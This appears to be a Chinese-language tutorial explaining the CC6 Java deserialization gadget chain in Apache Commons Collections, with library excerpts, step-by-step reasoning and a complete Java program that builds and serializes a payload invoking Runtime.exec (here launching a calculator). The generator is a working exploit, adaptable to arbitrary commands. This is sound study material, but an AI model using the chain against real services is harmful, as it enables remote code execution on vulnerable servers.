CC6链其实就是URLDNS链的前半加上CC1链的后半。

链子构建
入口类跟CC1链完全一致,这里不再赘述。
在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类。而这里是选择了LazyMap类里的get方法。

1 2 3 4 5 6 7 8
   | public Object get(Object key) {     if (map.containsKey(key) == false) {                      Object value = factory.transform(key);                    map.put(key, value);         return value;     }     return map.get(key); }
 
  | 
 
然后继续找哪里调用了get方法。
最终在TiedMapEntry类里找到了它的getValue()方法里调用了get:
1 2 3
   | public Object getValue() {     return map.get(key);                     }
 
  | 
 
然后也是这个类的hashCode()方法里调用了它的getValue()方法,这样与前面也串联起来了。
1 2 3 4 5
   | public int hashCode() {     Object value = getValue();                return (getKey() == null ? 0 : getKey().hashCode()) ^            (value == null ? 0 : value.hashCode());  }
 
  | 
 
直至hashCode前面的部分在URLDNS链中有讲过,这里不再赘述。这里主要研究TiedMapEntry类。
1 2 3 4 5
   | public TiedMapEntry(Map map, Object key) {     super();     this.map = map;     this.key = key; }
 
  | 
 
它需要的参数很简单,一个map,这里就是我们需要传入的LazyMap,还有一个key,这里用不到可以随便传。
LazyMap里同样有decorate方法,可以修饰map。
1 2 3
   | public static Map decorate(Map map, Transformer factory) {     return new LazyMap(map, factory); }
 
  | 
 
我们先new一个LazyMap对象,并把ChainedTransformer传入:
1
   | Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
 
  | 
 
然后new一个TiedMapEntry对象
1
   | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
 
  | 
 
接下来我们new一个HashMap对象,因为这个类是readObject入口。
1 2
   | HashMap<Object,Object> map = new HashMap<>(); map.put(tiedMapEntry,"bbb");
 
  | 
 
问题&解决
那么正常来说,我们直接序列化反序列化就可以了。但是别忘了,我们在URLDNS链里也提到过,如果现在序列化,在put方法里会直接调用hash方法执行整条链子,触发payload,并修改了hashCode值,导致反序列化的时候不会触发payload。
那这里还是老方法,通过反射来修改put里的key,这里就是tiedMapEntry,而tiedMapEntry里放的LazyMap,所以我们只需要把LazyMap里的factory改成空就行了。
1 2 3 4 5 6 7 8
   | Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(Runtime.class));               ………… …………
  Class c = LazyMap.class;     Field factoryfield = c.getDeclaredField("factory");     factoryfield.setAccessible(true);      factoryfield.set(lazymap,chainedTransformer);    
 
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | public static void main(String[] args) throws Exception{          Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),             new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),             new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})     };     ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
           Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(Runtime.class));     TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
      HashMap<Object,Object> map = new HashMap<>();     map.put(tiedMapEntry,"bbb");      
           Class c = LazyMap.class;         Field factoryfield = c.getDeclaredField("factory");         factoryfield.setAccessible(true);          factoryfield.set(lazymap,chainedTransformer);    
      serialize(map); }
 
  | 
 
但是改成这样还是不能反序列化执行命令。
还记得最开始LazyMap类里的get方法有一个if判断吗?
1 2 3 4 5 6 7 8
   | public Object get(Object key) {     if (map.containsKey(key) == false) {                      Object value = factory.transform(key);                    map.put(key, value);         return value;     }     return map.get(key); }
 
  | 
 
这里在序列化的时候,我们确确实实让LazyMap的factory属性是空了,但是,进入这个if后,执行了map.put(key, value);就会让LazyMap的factory属性不是空了。
所以,我们需要手动将LazyMap的factory属性置空,只需要在map.put(tiedMapEntry,”bbb”);后移除key即可:
1 2
   | map.put(tiedMapEntry,"bbb"); lazymap.remove("aaa");
 
  | 
 
至此,我们的整条CC6链写完了。

完整CC6链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
   | import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
  import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; import java.util.Map;
  public class CC6TEST {     public static void main(String[] args) throws Exception{                  Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})         };         ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
                   Map<Object,Object> lazymap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(Runtime.class));         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
          HashMap<Object,Object> map = new HashMap<>();         map.put(tiedMapEntry,"bbb");                      lazymap.remove("aaa");      
                   Class c = LazyMap.class;             Field factoryfield = c.getDeclaredField("factory");             factoryfield.setAccessible(true);              factoryfield.set(lazymap,chainedTransformer);    
          serialize(map);              }
      public static void serialize(Object obj) throws IOException {         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));         oos.writeObject(obj);     } }
 
  |